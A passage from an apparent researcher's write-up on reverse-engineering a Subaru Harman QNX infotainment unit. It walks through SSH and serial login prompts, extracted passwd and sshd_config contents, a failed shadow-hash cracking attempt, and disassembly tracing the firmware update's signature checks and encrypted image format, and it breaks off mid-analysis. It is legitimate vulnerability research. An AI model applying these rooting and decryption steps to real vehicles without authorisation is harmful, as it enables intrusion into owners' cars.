Android Auto. The 8-inch models can connect to WiFi networks and theoretically download firmware updates wirelessly, but this functionality doesn't seem to be in use yet. Existing Efforts Starting from scratch, we know virtually nothing about the head unit. There are no obvious debugging menus, no firmware versions listed anywhere, and no clear manufacturer. First, we need to research and find out if anyone else has already accomplished this or made any progress understanding the unit. The only useful data was posted by redditor nathank1989. See his post in /r/subaruimpreza, and, more importantly, the replies. To quote his post: SSH Into STARLINK Just got myself the 2017 Impreza Sport and can see there's an open SSH server. Kudos to the person who knows what is or how to find the root user and password. 2 hours of googling has yielded nothing. SSH is a good sign — we're mostly likely running some sort of Unix variant. Further down in the Reddit post, we have a link to a firmware update. This will save us time as getting access to a software update is sometimes quite difficult with embedded systems. Subaru later took this firmware update down. They had linked to it from the technical service manuals you can purchase access to through Subaru. It appears that Subarunet did not require any form of authentication to download files originally. I did not get the files from this link as they were down by the time I found the thread, but, the files themselves had been mirrored by many Subaru enthusiasts. These files can be placed on a USB thumb drive, inserted into the vehicle's USB ports, and the firmware installed on the head unit. Aside from this, there really isn't much information out there. SSH What happens if we connect to SSH over WiFi? ****************************** SUBARU ******************************* Warning - You are knowingly accessing a secured system. That means you are liable for any mischeif you do. ********************************************************************* root@192.168.0.1's password: Dead end. Brute forcing is a waste of time and finding an exploit that would only work on the top tier of navigation models with WiFi isn't practical. Finding the Manufacturer We can find the manufacturer (Harman) in several different ways. I originally discovered it was Harman after I searched several auction sites for Subaru Impreza head units stripped out of wrecked vehicles. There were several for sale that had pictures showing stickers on the removed head unit with serial numbers, model numbers, and, most importantly, the fact that Harman manufacturers the device. Another way would be to remove the head unit from a vehicle, but I'm not wealthy enough to void the warranty on a car I enjoy, and I've never encountered a dash that comes out without tabs breaking. The technical manuals you can pay for most likely have this information as well as the head unit pinout. Hidden debug and dealer menus are accessible via key combinations. One of these menus hints that the device is running QNX and is from Harman. See another useful Reddit post by ar_ar_ar_ar. From the debug menu, we know we're running QNX 6.60. Harman and QNX Now that we know the manufacturer and OS, we can expand the search a bit. There are a few interesting publications on Harman head units, and one of them is both useful and relatively up-to-date. Dr. Charlie Miller & Chris Valasek's Paper Back in 2015, Dr. Charlie Miller and Chris Valasek presented their automotive research at Blackhat: Remote Exploitation of an Unaltered Passenger Vehicle. This is, by far, the best example of public research on Harman head units. Thank you to Dr. Miller and Chris for publishing far more details than necessary. The paper covers quite a few basics of Harman's QNX system and even shows the attacks they used to gain local code execution. Although the system has changed a bit since then, it is still similar in many ways and the paper is well worth reviewing. First Recap At this point, we know the following: This is a Harman device. It is running QNX 6.60. We have a firmware image. Analysis of Attack Surfaces Where do we begin? We can attack the following systems, listed by approximate difficulty, without having to disassemble the vehicle: Local USB Update Mechanism USB Media Playback (metadata decoding?) OBD? iPod Playback Protocol Carplay/Android Auto Interfaces CD/DVD Playback & Metadata Decoding Wireless WiFi Bluetooth FM Traffic Reception / Text Protocols There are more vectors, but attacking them often isn't practical at the hobbyist level. USB Update Mechanism The biggest attack vector (but not necessarily the most important) on a vehicle head unit is almost always the head unit software update mechanism. Attackers need a reliable way to gain access to the system to explore it for other vulnerabilities. Assuming it can be done, spoofing a firmware update is going to be a much more "global" rooting mechanism than any form of memory corruption or logic errors (barring silly mistakes like open Telnet ports/DBUS access/trivial peek/poke etc.). Thus, finding a flaw like this would be enormously valuable from a vulnerability research perspective. On My Warranty If we’re going to start attacking an embedded system, we probably shouldn’t attack the one in a real, live vehicle used to drive around town. More than likely nothing bad would happen assuming correct system design and architecture (a safe assumption?), but paying to have the dealer replace the unit would be very expensive. This could also potentially impact the warranty, which could be cost-prohibitive. Auction sites have plenty of these for sale from salvage yards for as low as $200. That's a fantastic deal for a highly proprietary system with an OEM cost of more than $500. Hardware Analysis Before we look at the firmware images we grabbed earlier, let's evaluate the hardware platform. This is pretty standard for embedded systems. First, figure out how to power on the system. We need a DC power supply for the Subaru head unit as well as the wiring diagram for the back of the unit in order to know what to attach the power leads to. I didn't feel like paying the $30 for access to the technical manual, so I searched auction sites for a while, eventually found a picture of the wiring harness, noted that the harness had one wire that was much thicker than the others, guessed that was probably power, attached the leads, prayed, and powered the unit on. I don't recommend doing that, but it worked this time. Next, disassemble the device and inventory the chips on the system. Important parts: ARM processors. USB ports. (correspond to the USB ports in the car for iPhone attachment etc) Unpopulated orange connectors. (Interesting!) 32GB eMMC. The eMMC is a notable attack vector. If we had unlimited time and money, dump the contents via attaching test points to nearby leads else by desoldering the entire package. Unfortunately, I don't have the equipment for this. At minimum I'd want a rather expensive stereo microscope, and that isn't worth the cost to me. One could potentially root the device by desoldering, dumping, modifying a shadow file, reflashing, and resoldering. A skilled technician (i.e. professional attacker) in a well-equipped lab could do this trivially. Board Connectors There are strange looking orange connectors with Kapton tape covering them. How do we find the connectors so we can easily probe the pins? We could trawl through tiny, black and white DigiKey pictures for a while and hopefully get lucky, but asking electronics.stackexchange.com is far simpler. I posted the question and had many members helpfully identify the connector as Micromatch in less than an hour. Fantastic. Order cable assemblies from DigiKey, attach them, then find the 9600 or 115200 baud serial port every embedded system under the sun always has. Always. Serial Port SUBARU Base, date:Jul 11 2017 Using eMMC Boot Area loader in 79 ms �board_rev = 6 Startup: time between timer readings (decimal): 39378 useconds Welcome to QNX 660 on Harman imx6s Subaru Gen3 ARM Cortex-A9 MPCore login: RVC:tw9990_fast_init: Triggered TW9990 HW Reset RVC:tw9990_fast_init: /dev/i2c4 is ready WFDpixel_clock_kHz: 29760 WFDhpixels: 800 WFDhfp: 16 WFDhsw: 3 WFDhbp: 45 WFDvlines: 480 WFDvfp: 5 WFDvsw: 3 WFDvbp: 20 WFDflags: 2 RVC:tw9990_fast_init: Decoder fast init completed [Interrupt] Attached irqLine 41 with id 20. [Interrupt] Attached irqLine 42 with id 21. root root Password: Login incorrect Serial has a username and password. A good guess is that it's using the exact same credentials as the SSH server. Another dead end. At this point I tried breaking into some form of bootloader on boot via keystrokes and grounding various chips, but no luck. There are other pins, so we could look for JTAG, but since we have a firmware update package, let's investigate that first. JTAG would involve spending more money, and part-time embedded security research isn't exactly the most lucrative career choice. Installing the Update To install the update, we first need to solder on a USB socket so we can insert a flash drive into the test setup. Subaru seems to sell these cables officially for around 60$. The cheaper way is to splice a USB extension cord and solder the four leads directly to the board. After doing this step, the system accepts the downloaded update. The device I purchased from a salvage yard actually had a newer firmware version than the files I got from various Subaru forums. The good news is that the system supports downgrading and does not appear to reject older firmwares. It also happily reinstalls the same firmware version on top of itself. Now onto the firmware analysis stage. Firmware Here's what the update package has: BASE-2017MY Impreza Harman Audio Update 06-2017/update/KaliSWDL$ ls -lash total 357M 0 drwxrwxrwx 1 work work 4.0K Jun 7 2017 . 0 drwxrwxrwx 1 work work 4.0K Jun 7 2017 .. 4.0K -rwxrwxrwx 1 work work 1.8K Jun 7 2017 checkswdl.bat 44K -rwxrwxrwx 1 work work 43K Jun 7 2017 KaliSWDL.log 784K -rwxrwxrwx 1 work work 782K Jun 7 2017 md5deep.exe 167M -rwxrwxrwx 1 work work 167M Jun 7 2017 swdl.iso 0 -rwxrwxrwx 1 work work 48 Jun 7 2017 swdl.iso.md5 86M -rwxrwxrwx 1 work work 86M Jun 7 2017 swupdate.dat 104M -rwxrwxrwx 1 work work 104M Jun 7 2017 system.dat checkswdl.bat - Checks the md5sum of swdl.iso and compares it with swdl.iso.md5. Prints a nice pirate ship thumbs-up on a successful verification, else a pirate flag on failure. _@_ ((@)) ((@)) ((@)) ______===(((@@@@====) ##########@@@@@=====)) ##########@@@@@----)) ###########@@@@----) ========----------- !!! FILE IS GOOD !!!! At first, I thought the only signature checking on the update was a md5 sum we could modify in the update folder. Thankfully, that assumption was incorrect. KaliSWDL.log - Build log file. This doesn't look like it needs to be included with the update package. My guess is that it is just a build artifact Harman didn't clean up. VARIANT : NAFTA LOGFILE : F:\Perforce\Jenkins\Slave\workspace\Subaru_Gen3_Release_Gen3.0\project\build\images\KaliSWDL\KaliSWDL.log MODELYEAR : MY2017 BUILD VERSION : Rel2.17.22.20 BUILD YEAR : 17 BUILD WEEK : 22 BUILD PATCH : 20 BUILD TYP : 1 BUILD BRANCH : Rel BUILD VP : Base The system cannot find the file specified. The system cannot find the file specified. The system cannot find the file specified. The system cannot find the file specified. - BuildType - 1 - Build Branch - Rel - Build Version Year - 17 - Build version Week - 22 - Build Version Patch - 20 - Model Year - MY2017 - Market - NA - Market - NA - VP - Base - Salt - 10 swdl.iso - ISO file containing lots of firmware related files. Guessing the ISO format was left over from older Harman systems where firmware updates were burned onto CDs. dat files - swupdate.dat and system.dat are high entropy files with no strings. Almost certainly encrypted. Only useful piece of information in the file is "QNXCNDFS" right at the beginning. Search engines, at the time I first looked at this, had no results for this filetype. My guess was that it was custom to Harman and/or QNX. $ hexdump -Cv -n 96 swupdate.dat 00000000 51 4e 58 43 4e 44 46 53 01 03 01 00 03 00 00 00 |QNXCNDFS........| 00000010 00 c0 ff 3f 00 00 00 00 8c 1d 5e 05 00 00 00 00 |...?......^.....| 00000020 00 a4 07 0c 00 00 00 00 00 02 00 00 00 00 00 00 |................| 00000030 80 02 00 00 00 00 00 00 90 0e 00 00 00 00 00 00 |................| 00000040 04 00 00 00 00 00 00 00 c1 00 00 00 00 00 00 00 |................| 00000050 00 00 10 00 00 80 10 00 04 00 00 00 04 00 00 00 |................| As the dat files look encrypted, starting with the ISO file makes the most sense. swdl.iso The ISO contains many files. More build artifacts with logs from the build server, what look like bootloader binary blobs, several QNX binaries with full debug symbols we can disassemble, one installation shell-script and, most importantly, IFS files. $ file softwareUpdate softwareUpdate: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /usr/lib/ldqnx.so.2, BuildID[md5/uuid]=381e70a72b349702a93b06c3f60aebc3, not stripped IFS Files QNX describes IFS as: An OS image is simply a file that contains the OS, plus any executables, OS modules, and data files that are needed to get the system running properly. This image is presented in an image filesystem (IFS). Thus, IFS is a binary format used by QNX. The only other important information to note here is that we can extract them with tools available on github. See dumpifs. ifs-subaru-gen3.raw Contents Running dumpifs on ifs-subaru-gen3.raw gets us this: Decompressed 1575742 bytes-> 3305252 bytes Offset Size Name 0 8 *.boot 8 100 Startup-header flags1=0x9 flags2=0 paddr_bias=0 108 52008 startup.* 52110 5c Image-header mountpoint=/ 5216c 1994 Image-directory ---- ---- Root-dirent 54000 8e000 proc/boot/procnto-instr e2000 16f4 proc/boot/.script e4000 521 bin/.kshrc e5000 2e6 bin/boot.sh e6000 10d bin/mountMMC0.sh e7000 63 bin/umountMMC0.sh e8000 6b bin/mountUSB.sh e9000 2b9 bin/mountUSBUpdate.sh ea000 6d6 bin/startUpdate.sh Lots of base operating system files. We can extract most of them via dumpifs -bx ifs-subaru-gen3.raw. $ ls authorized_keys ftpd.conf libtracelog.so.1 shadow banner ftpusers ln slay Base.pub getconf login sleep boot.sh gpio.conf lsm-pf-v6.so slogger2 cam-disk.so group mount spi-master cat hosts mount_ifs spi-mx51ecspi.so checkForUpdate.sh i2c-imx mountMMC0.sh sshd_config cp ifs-subaru-gen3.raw mountUSB.sh ssh_host_dsa_key devb-sdmmc-mx6_generic img.conf mountUSBUpdate.sh ssh_host_key devc-pty inetd.conf mv ssh_host_rsa_key devc-sermx1 init.sh NAFTA.pub startNetwork.sh dev-ipc io passwd startRvc.sh dev-memory io-blk.so pf.conf startUpdate.sh dev-mmap ipl-subaru-gen3.bin pf.os SubaruPubkey.pmem earlyStartup.sh ksh pipe symm.key echo libcam.so.2 prepareEMMCBootArea.sh sync eMMCFactoryFormat.sh libc.so.3 procnto-instr touch eMMCFormat.sh libdma-sdma-imx6x.so.1 profile umount enableBootingFromEMMCBootArea.sh libfile.so.1 rm umountMMC0.sh fram.conf libslog2parse.so.1 scaling.conf uname fs-dos.so libslog2shim.so.1 scaling_new.conf updateIPLInEMMCBootArea.sh fs-qnx6.so libslog2.so.1 services waitfor This clearly isn't even close to all of the files the system will use to boot and launch the interface, but it's a start. Files of Note authorized_keys - key for sshd. Probably how Harman engineers can login over SSH for troubleshooting and field support. banner - sshd banner we see when we connect over WiFi. This indicates that we're looking at the right files. sshd_config - AllowUsers root, PasswordAuthentication yes, PermitRootLogin yes, Wow! passwd: root:x:0:0:Superuser:/:/bin/sh daemon::1:2:daemon:/: dm::2:8:dwnmgr:/: ubtsvc:x:3:9:bt service:/: logger:x:101:71:Subaru Logger:/home/logger:/bin/sh certifier:x:102:71:Subaru Certifier:/home/certifier:/bin/sh shadow - Password hashes for root and other accounts. QNX6 hashtype is supported by JTR (not hashcat as far as I am aware), but doesn't appear to be GPU accelerated. I spent several days attempting a crack on a 32-core system using free CPU credits I had from one of the major providers, but without GPU acceleration, got nowhere. As long as they made the password decently complicated, there isn't much we can do. startnetwork.sh - Starts "asix adapter driver" then loads a DHCP client. AKA we can buy a cheap USB to Ethernet adapter, plug it into the head unit's USB ports, and get access to the vehicles internal network. This allows us access to sshd on base units that do not have the wireless chipset. This is almost certainly how Harman field engineers troubleshoot vehicles. We can verify this works by buying an ASIX adapter, plugging it in, powering up the head unit, watching traffic on Wireshark, and seeing the DHCP probes. symm.key - Clearly a symmetric key. Obvious guess is the key that decrypts the .dat files. Perfect. minifs.ifs Contents There are other IFS files included in the ISO. miniifs seems to contain most of the files used during the software update process. Almost every command line binary on the system has handy help descriptions we can get via strings: %C softwareUpdate Usage => -------- To Start Service installUpdate -c language files -l language id -i ioc channel name ( e.g. /dev/ioc/ch4) -b If running on Subaru Base Variant -p pps path to platform features, e.g /pps/platform/features -r config file path for RH850 Binary mapping e.g)# installUpdate & or # e.g) # installUpdate -l french_fr &NAME=installUpdate DESCRIPTION=installUpdate There are too many files to note here, but a few stand out: andromeda - An enormous 17MB-20MB binary blob that seems to run the UI and implement most of the head unit functionality. Looks to make heavy use of QT. installUpdate - Installs update files. installUpdate.sh - Shell script that triggers the update. Unknown who or what calls this script. So, installUpdate.sh executes this at the end: echo " -< Start of InstallUpdate Service >- " installUpdate -c /fs/swMini/miniFS/usr/updatestrings.json -b postUpdate.sh What's in updatestrings.json? "SWDL_USB_AUTHENTICATED_FIRST_SCREEN": "This update may take up to 60 minutes to<br>complete. Please keep your vehicle running<br>(not Accessory mode) throughout the entire<br>installation.", "SWDL_USB_AUTHENTICATED_SECOND_SCREEN": "If you update while your vehicle is idling,<br>please make sure that your vehicle<br>is not in an enclosed spa ce such as a<br>garage.", "SWDL_USB_AUTHENTICATED_THIRD_SCREEN": "The infotainment system will be temporarily<br>unavailable during the update.<br>Current Version: %s<br>Availab le Version: %s<br>Would you like to install now?", "SWDL_USB_AUTHENTICATED_THIRD_SCREEN_SAME_IMAGE": "The infotainment system will be temporarily<br>unavailable", The file contains the same strings shown to the user through the GUI during the software update process. Hence, installUpdate is almost certainly the file we want to reverse engineer to understand the update process. Remember the encrypted dat files with the QNXCNDFS header? Let's see if any binaries reference that string. $ ag -a QNXCNDFS Binary file cdqnx6fs matches. Binary file cndfs matches. $ strings cndfs %C - condense / restore Power-Safe (QNX6) file-systems %C -c [(general-option | condense-option)...] src dst %C -r [(general-option | restore-option)...] src dst General options: -C dll specify cache-control DLL to use with direct I/O -f force use of direct I/O, even if disk cache cannot be discarded -I use direct I/O for reading data -k key specify the key to use for data encryption / decryption. <key> must be a string of hexadecimal digits, optionally separated by punctuation characters. -K dll[,args] specify a DLL to provide the key to use for data encryption or decryption. Optionally, an arguments string can be added which will be passed to the key provider function. See below. -O use direct I/O for writing data -p name store progress information in shared-memory object <name> -s size specify the chunk size [bytes] (default: 1M) -S enable synchronous direct I/O. This should cause io-blk to discard cached blocks on direct I/O, which may reduce performance. Default is to try and discard the cache for the entire device before any I/O is performed (see -f option). -v increase verbosity -? print this help Condense-options: -b size specify the raw block size for compression [bytes] (default: 64k) -c condense file-system <src> into file <dst> -d num specify the data hashing method. <num> must be in the range 0..7 (default: 4). See below for supported methods. -D deflate data -h num specify the header hashing method. <num> must be in the range 0..6 (default: 4). See below for supported methods. -m num specify the metadata hashing method. <num> must be in the range 0..6 (default: 4). See below for supported methods. Restore-options: -r restore file-system <dst> from condensed file <src> -V verify written data during restoration Where: src is the source file / block device dst is the destination file / block device Hash methods: 0 = none 1 = CRC32 2 = MD5 3 = SHA224 4 = SHA256 5 = SHA384 6 = SHA512 7 = AES256-GCM (encrypts; requires 256-bit key) It appears that cndfs/cdqnx6fs can both encrypt/decrypt our dat files, and CNDFS stands for "condensed" filesystem. The help message also lets us know that it is almost certainly encrypted with AES256-GCM, uses a 256-bit key, and may be compressed. Unfortunately, we'd need code execution to run this. ISO Modification The most logical first attack is to modify the ISO. We can verify this method is impossible by changing a single byte in the image and trying to install it. On USB insertion, the device probes for certain files on the USB stick. If it finds files that indicate an update, it will claim that it is verifying the integrity of the files (although it actually doesn't do this until reboot, strange!), print a "success" message, reboot into some form of software-update mode, then actually checks the integrity of the ISO. Only the ISO header appears to be signed, but the header contains a SHA hash of the rest of the ISO. Installation will only continue if the header and SHA hashes validate. Barring a mistake in the signature verification subroutines, we will be unable to modify the ISO for trivial code execution. At this point we've extracted a large number of relevant files from the update package. The files appear to be specific to the early boot process of the device and a specific update mode. We don't yet know what is contained in the encrypted dat files. Reverse Engineering QNXCNDFS As code execution via ISO modification is unfortunately (fortunately?) not trivial, the next step is to decrypt the condensed dat file. Ideally the encrypted files contain some form of security sensitive functionality — i.e. perhaps debug functionality we can abuse on USB insertion. Plenty of embedded systems trigger functionality and debug settings when specific files are loaded onto USB drives and inserted, so we can hope for that here. At worst, we will most likely gain access to more system files we can investigate for rooting opportunities. QNXCNDFS is a custom image format with no known information available on the Internet, so we'll start from scratch with the installUpdate binary. We know that cndfs or cdqnx6fs are probably involved as they contain the QNXCNDFS string, but how do they get called? installUpdate Flow First, find any references to the cdqnx6fs or cndfs files in installUpdate. It probably gets called here: LOAD:0805849C ; r0 is key? LOAD:0805849C LOAD:0805849C dat_spawn_copy_directory ; CODE XREF: check_hash_copy+CA↓p LOAD:0805849C LOAD:0805849C var_28 = -0x28 LOAD:0805849C var_24 = -0x24 LOAD:0805849C var_20 = -0x20 LOAD:0805849C var_1C = -0x1C LOAD:0805849C var_18 = -0x18 LOAD:0805849C var_14 = -0x14 LOAD:0805849C LOAD:0805849C 70 B5 PUSH {R4-R6,LR} LOAD:0805849E 0C 46 MOV R4, R1 LOAD:080584A0 86 B0 SUB SP, SP, #0x18 LOAD:080584A2 0E 49 LDR R1, =aCopyDirectoryC ; "Copy Directory Command " LOAD:080584A4 06 46 MOV R6, R0 LOAD:080584A6 0E 48 LDR R0, =_ZSt4cout ; std::cout LOAD:080584A8 15 46 MOV R5, R2 LOAD:080584AA FC F7 9D FA BL _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_traits<char>>(std::basic_ostream<char,std::char_traits<char>> &,char const*) LOAD:080584AE FC F7 6B FA BL sub_8054988 LOAD:080584B2 0C 4B LDR R3, =aR ; "-r" LOAD:080584B4 04 36 ADDS R6, #4 LOAD:080584B6 03 94 STR R4, [SP,#0x28+var_1C] LOAD:080584B8 02 96 STR R6, [SP,#0x28+var_20] LOAD:080584BA 01 20 MOVS R0, #1 LOAD:080584BC 00 93 STR R3, [SP,#0x28+var_28] LOAD:080584BE 0A 4B LDR R3, =aK ; "-k" LOAD:080584C0 04 95 STR R5, [SP,#0x28+var_18] LOAD:080584C2 0A 4A LDR R2, =(aFsSwminiMinifs_10+0x16) ; "cdqnx6fs" LOAD:080584C4 01 93 STR R3, [SP,#0x28+var_24] LOAD:080584C6 00 23 MOVS R3, #0 LOAD:080584C8 05 93 STR R3, [SP,#0x28+var_14] LOAD:080584CA 09 4B LDR R3, =off_808EA34 LOAD:080584CC D3 F8 94 10 LDR.W R1, [R3,#(off_808EAC8 - 0x808EA34)] ; "/fs/swMini/miniFS/bin/cdqnx6fs" LOAD:080584D0 08 4B LDR R3, =(aSCSIV+0xC) ; "-v" LOAD:080584D2 F9 F7 E0 E9 BLX spawnl LOAD:080584D6 06 B0 ADD SP, SP, #0x18 LOAD:080584D8 70 BD POP {R4-R6,PC} LOAD:080584D8 ; End of function dat_spawn_copy_directory spawnl creates a child process, so this seems like the correct location. If we look at the caller of dat_spawn_copy_directory, we find ourselves near code verifying some form of integrity of a dat file. LOAD:080586BC loc_80586BC ; CODE XREF: check_hash_copy+2E↑j LOAD:080586BC ; check_hash_copy+8E↑j LOAD:080586BC 20 6D LDR R0, [R4,#0x50] LOAD:080586BE 29 46 MOV R1, R5 LOAD:080586C0 3A 46 MOV R2, R7 LOAD:080586C2 04 F0 80 F8 BL check_dat_hash LOAD:080586C6 01 28 CMP R0, #1 LOAD:080586C8 81 46 MOV R9, R0 LOAD:080586CA 06 D1 BNE loc_80586DA LOAD:080586CC LOAD:080586CC invalid_dat_file ; CODE XREF: check_hash_copy+40↑j LOAD:080586CC 2E 49 LDR R1, =aIntrusionDetec ; "Intrusion detected: Invalid dat file!!!" LOAD:080586CE 2B 48 LDR R0, =_ZSt4cout ; std::cout LOAD:080586D0 FC F7 8A F9 BL _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc ; std::operator<<<std::char_traits<char>>(std::basic_ostream<char,std::char_traits<char>> &,char const*) LOAD:080586D4 FC F7 58 F9 BL sub_8054988 LOAD:080586D8 41 E0 B loc_805875E check_dat_hash doesn't actually verify the dat files — instead, it verifies the ISO contents hash to a value that is in the ISO header. This is relatively easy to discover as the function does a fseek to 0x8000 right at the start. LOAD:0805C850 4F F4 00 41 MOV.W R1, #0x8000 ; off LOAD:0805C854 2A 46 MOV R2, R5 ; whence LOAD:0805C856 F4 F7 66 EE BLX fseek LOAD:0805C85A 78 B1 CBZ R0, loc_805C87C LOAD:0805C85C 04 21 MOVS R1, #4 LOAD:0805C85E 05 22 MOVS R2, #5 LOAD:0805C860 32 4B LDR R3, =aFseekFailedToO ; "Fseek failed to offset 32768" What is 0x8000? The ISO 9660 filesystem specifies that the first 0x8000 bytes are "unused". Harman appears to use this section for signatures and other header information. Thus, installUpdate is seeking past this header, then hashing the rest of the ISO contents to verify integrity. The header is signed and contains the comparison hash, so we cannot just modify the ISO header hash to modify the ISO as we'd also need to re-sign the file. That would require Harman's private key, which we obviously don't have. Before installUpdate calls into the QNXCNDFS functionality, the system needs to successfully verify the ISO signature. Easy enough, we already have a valid update that is signed. cdqnx6fs Start by looking at the cdqnx6fs strings. This handy string pops out: Source: '%s' %s Destination: '%s' %s Chunk size: %u bytes Raw chunk size: %u bytes Max raw blk length: %u bytes Max cmp blk length: %u bytes Extents per chunk: %u Condensed file information: Signature: 0x%08llx Version: 0x%08x Flags: 0x%08x Compressed: %s File size: %llu bytes Number of extents: %llu Header hash method: %s Payload data: %llu bytes Header hash: %s Metadata hash method: %s Metadata hash: %s Data hash method: %s Data hash: %s File system information: File system size: %llu bytes Block size: %u bytes Number of blocks: %u Bitmap size: %u bytes Nr. of used blocks: %u On execution, the application prints out a large amount of header data. If we go to the function printing this string, the mapping between the header and the string prints becomes clear. LOAD:0804AA8C 4D F2 1C 10+ MOV R0, #aCondensedFileI ; "Condensed file information:" LOAD:0804AA94 FF F7 96 E9 BLX puts LOAD:0804AA98 BB 68 LDR R3, [R7,#0x18+var_10] LOAD:0804AA9A D3 E9 00 23 LDRD.W R2, R3, [R3] LOAD:0804AA9E 4D F2 38 10+ MOV R0, #aSignature0x08l ; " Signature: 0x%08llx\n" LOAD:0804AAA6 FF F7 3A E9 BLX printf LOAD:0804AAAA BB 68 LDR R3, [R7,#0x18+var_10] LOAD:0804AAAC 1B 89 LDRH R3, [R3,#8] LOAD:0804AAAE 4D F2 5C 10+ MOV R0, #aVersion0x04hx ; " Version: 0x%04hx\n" LOAD:0804AAB6 19 46 MOV R1, R3 LOAD:0804AAB8 FF F7 30 E9 BLX printf LOAD:0804AABC BB 68 LDR R3, [R7,#0x18+var_10] LOAD:0804AABE 5B 89 LDRH R3, [R3,#0xA] LOAD:0804AAC0 4D F2 80 10+ MOV R0, #aFsType0x04hx ; " FS type: 0x%04hx\n" LOAD:0804AAC8 19 46 MOV R1, R3 LOAD:0804AACA FF F7 28 E9 BLX printf LOAD:0804AACE BB 68 LDR R3, [R7,#0x18+var_10] LOAD:0804AAD0 DB 68 LDR R3, [R3,#0xC] LOAD:0804AAD2 4D F2 A4 10+ MOV R0, #aFlags0x08x ; " Flags: 0x%08x\n" R3 points to the DAT file contents. Before each print, a constant is added to the DAT file content pointer then the value is dereferenced. In effect, each load shows us the correct offset to the field being printed. Thus, signature is offset 0 (the QNXCNDFS string, not a digital signature one might first suspect), version is offset 8, filesystem type is offset 0xA, etc. Using this subroutine, we can recover around 70-80% of the header data for the encrypted file with virtually no effort. Since we don't know what FS type actually means or corresponds to, these aren't the best fields to verify. If we go down a bit in the function, we get to more interesting header fields with sizes. LOAD:0804AB38 BB 68 LDR R3, [R7,#0x18+var_10] LOAD:0804AB3A D3 E9 04 23 LDRD.W R2, R3, [R3,#0x10] LOAD:0804AB3E 4D F2 10 20+ MOV R0, #aRawSizeLluByte ; " Raw size: %llu bytes\n" LOAD:0804AB46 FF F7 EA E8 BLX printf LOAD:0804AB4A BB 68 LDR R3, [R7,#0x18+var_10] LOAD:0804AB4C D3 E9 06 23 LDRD.W R2, R3, [R3,#0x18] LOAD:0804AB50 4D F2 38 20+ MOV R0, #aCondensedSizeL ; " Condensed size: %llu bytes\n" LOAD:0804AB58 FF F7 E0 E8 BLX printf LOAD:0804AB5C BB 68 LDR R3, [R7,#0x18+var_10] LOAD:0804AB5E D3 E9 08 23 LDRD.W R2, R3, [R3,#0x20] LOAD:0804AB62 4D F2 60 20+ MOV R0, #aRawDataBytesLl ; " Raw data bytes: %llu bytes\n" LOAD:0804AB6A FF F7 D8 E8 BLX printf Condensed size is a double-word (64-bit value) loaded at offset 0x18. This corresponds to this word in our header: 00000010 00 c0 ff 3f 00 00 00 00 8c 1d 5e 05 00 00 00 00 |...?......^.....| 8c 1d 5e 05 00 00 00 00 is little endian for 90054028 bytes, which is the exact size of swupdate.dat. This is confirmation that we're on the right track with the header. The header contains several configurable hashes. There's a hash for the metadata, a hash for an "extents" and "cluster" table, and finally a hash for the actual encrypted data. The hash bounds can be reverse engineered by simply guessing else looking a bit further in the binary. The cdqnx6fs binary is quite compact and doesn't contain many debugging strings. Reverse engineering it will be time consuming, so attempting to guess at the file-format instead of reverse engineering large amounts of filesystem IO code could save time. Cluster Table The cluster table contains a header-configurable number of clusters. I didn't know what clusters were at this point, but an initial guess is something akin to a filesystem block. The header also contains an offset to a table of clusters. The table of clusters looks like this: 00000280 90 0e 00 00 00 00 00 00 e1 e6 00 00 00 00 00 00 |................| 00000290 71 f5 00 00 00 00 00 00 19 1c 00 00 00 00 00 00 |q...............| 000002a0 8a 11 01 00 00 00 00 00 19 1c 00 00 00 00 00 00 |................| 000002b0 a3 2d 01 00 00 00 00 00 19 1c 00 00 00 00 00 00 |.-..............| Again, we can easily guess what this is with a little intuition. If we assume the first doubleword is a pointer in the existing file and navigate to offset 0x0E90, we get: 00000e50 80 f3 42 05 00 00 00 00 5f 89 07 00 00 00 00 00 |..B....._.......| 00000e60 df 7c 4a 05 00 00 00 00 96 fd 08 00 00 00 00 00 |.|J.............| 00000e70 75 7a 53 05 00 00 00 00 2c 21 06 00 00 00 00 00 |uzS.....,!......| 00000e80 a1 9b 59 05 00 00 00 00 eb 81 04 00 00 00 00 00 |..Y.............| 00000e90 0e 0f 86 ac 0a e5 9c 25 ce 6d 09 ee 9c 58 39 9a |.......%.m...X9.| 00000ea0 97 84 6f 26 5c 8b 03 c2 bf b6 c8 80 11 69 34 10 |..o&\........i4.| 00000eb0 c1 0c 02 5c 01 fa f8 fa 10 65 c2 d3 3b 49 82 14 |...\.....e..;I..| 00000ec0 d6 3c ef ce db 52 5b 11 42 69 6e c3 50 a2 1f af |.<...R[.Bin.P...| 0xe90 is the end of the cluster table (note the change in entropy). The first doubleword is almost certainly an offset into the data section. For the next doubleword, a guess is that it is the size of the cluster data. 0x0e90 + 0xE6E1 = 0xF571. The next cluster entry offset is indeed 0xF571. We now understand the cluster table and the data section. Cluster Data Chunks of cluster data can now be extracted from the data segment using the cluster table. Each chunk looks entirely random and there is no clear metadata in any particular chunk. Using header data, we know that both dat files shipped in this update are both encrypted and compressed. The decryption step will need to happen first using AES256-GCM. Via reverse engineering and searching for strings near the encryption code, it is clear that the cdqnx6fs binary is using mbed tls. The target decryption function is mbedtls_gcm_auth_decrypt . After researching GCM a bit more, we will need the symmetric key, the initialization vector, and an authentication tag to correctly decrypt and verify the buffer. We have a probable symmetric key from the filesystem, but need to find the IV and tag. Again, the code is dense and reverse-engineering the true structure would take quite a bit of time, and I didn't find evidence of a constant IV, so let's guess. If I were designing this, I'd put the IV in the first 16 bytes, the tag in the next 16, then have the encrypted data following that. There aren't too many logical combinations here, so we can switch the IV and tag around, and also try prepending and appending this data. This seemed likely to me. Unfortunately, after plugging in the symmetric key and trying the above process in python, nothing seemed to decrypt correctly. The authentication tags never matched. Thus, we potentially guessed incorrectly on the structure of the encrypted clusters, the algorithm isn't actually AES-GCM (or it was modified), or something else is going on. Before delving into the code, let's search for where the encryption key is passed from installUpdate to cdqnx6fs. The symm.key file seems like an obvious choice for the symmetric key, but maybe that isn't correct. Decrypting How do we locate where the symmetric key is loaded and passed to the new process? Search for the filename and examine all references. There is only one reference, and it is passed to fopen64. A short while after, this value is passed to the cdqnx6fs process. Examine the following code: LOAD:08052ADE 37 48 LDR R0, =aDecrypting ; "Decrypting..." LOAD:08052AE0 FE F7 74 EE BLX puts LOAD:08052AE4 36 4B LDR R3, loc_8052BC0 LOAD:08052AE6 37 49 LDR R1, =(aR+1) ; "r" LOAD:08052AE8 18 68 LDR R0, [R3] ; 